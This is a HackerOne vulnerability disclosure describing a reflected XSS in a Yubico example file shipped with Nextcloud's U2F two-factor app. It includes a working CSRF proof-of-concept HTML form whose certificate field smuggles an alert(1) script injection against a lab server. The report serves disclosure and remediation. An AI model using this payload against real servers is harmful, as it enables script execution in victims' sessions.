Reflected XSS in U2F plugin by shipping the example endpoints
High
Vulnerability Details
While running a [RIPS scan](https://www.ripstech.com/) against our [instrumentalized source code](https://github.com/nextcloud/php-static-scanner-instrumentalization) it noticed that the file `/apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php` echoes on user input:
{F145451}
I was first a tad confused because [the examples have been removed from our Git repository](https://github.com/nextcloud/twofactor_u2f/tree/3321e0dc84208adb623b6843f72e81782d9f2b6e/vendor/yubico/u2flib-server), but the release from apps.nextcloud.com ships with that file. So I suppose the Makefile is downloading the dependencies again.
While exploiting this is not entirely trivial due to some sanity checks in the code above it is however possible, the following CSRF PoC will trigger a popup:
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://10.211.55.7/stable9/apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php" method="POST">
<input type="hidden" name="doAuthenticate" value="{"signatureData":"AQAAABowRAIgMZL56nkLO7gs2OYoUW8RE3xAWLAvzroTiWO2T2PBb-wCID6zjKjjxsqqG5NZ4upnT1xCeFmnDSefS_TWHZWjoXgx","clientData":"eyAiY2hhbGxlbmdlIjogIjFQX1l4TWpGVEhPcmNyQmlwUF8tLXRtVjA4SXNRUnVXaVlwZVZYVlNpVFUiLCAib3JpZ2luIjogImh0dHA6XC9cLzEwLjIxMS41NS43IiwgInR5cCI6ICJuYXZpZ2F0b3IuaWQuZ2V0QXNzZXJ0aW9uIiB9","keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg"}" />
<input type="hidden" name="request" value="[{"version":"U2F_V2","challenge":"1P_YxMjFTHOrcrBipP_--tmV08IsQRuWiYpeVXVSiTU","keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg","appId":"http://10.211.55.7"}]" />
<input type="hidden" name="registrations" value="[{"keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg","publicKey":"BPtO8T0VluUL14FRKvEkZ5lP/3W4F7er4WS87iYfrpoKj0Fjo+M+zAxNsuhYd+3rYQFVPr4hflhOh3lMSZ605Fg=","certificate":"MIICLjCCARigAwIBAgIECmML\/zALBgkqhkiG9w0BAQswLjEsMCoGA1UEAxMjWXViaWNvIFUyRiBSb290IENBIFNlcmlhbCA0NTcyMDA2MzEwIBcNMTQwODAxMDAwMDAwWhgPMjA1MDA5MDQwMDAwMDBaMCkxJzAlBgNVBAMMHll1YmljbyBVMkYgRUUgU2VyaWFsIDE3NDI2MzI5NTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABKQjZF26iyPtbNnl5IuTKs\/fRWTHVzHxz1IHRRBrSbqWD60PCqUJPe4zkIRFqBa4NnzdhVcS80nlZuY3ANQm0J+jJjAkMCIGCSsGAQQBgsQKAgQVMS4zLjYuMS40LjEuNDE0ODIuMS4yMAsGCSqGSIb3DQEBCwOCAQEAZTmwMqHPxEjSB64Umwq2tGDKplAcEzrwmg6kgS8KPkJKXKSu9T1H6XBM9+LAE9cN48oUirFFmDIlTbZRXU2Vm2qO9OdrSVFY+qdbF9oti8CKAmPHuJZSW6ii7qNE59dHKUaP4lDYpnhRDqttWSUalh2LPDJQUpO9bsJPkgNZAhBUQMYZXL\/MQZLRYkX+ld7llTNOX5u7n\/4Y5EMr+lqOyVVC9lQ6JP6xoa9q6Zp9+Y9ZmLCecrrcuH6+pLDgAzPcc8qxhC2OR1B0ZSpI9RBgcT0KqnVE0tq1KEDeokPqF3MgmDRkJ++\/a2pV0wAYfPC3tC57BtBdH\/UXEB8xZVFhtA==wzh87'-alert(1)-'k50k8","counter":-1}]" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
{F145453}
This code is part of the [official Yubico PHP U2F library](https://github.com/Yubico/php-u2flib-server). In a first step I'll coordinate with @christophwurst to remove this file from the release on apps.nextcloud.com, then I'll make sure to reach out to Yubico to get this resolved in their library.
Actions
View on HackerOneReport Stats
- Report ID: 192786
- State: Closed
- Substate: resolved
- Upvotes: 10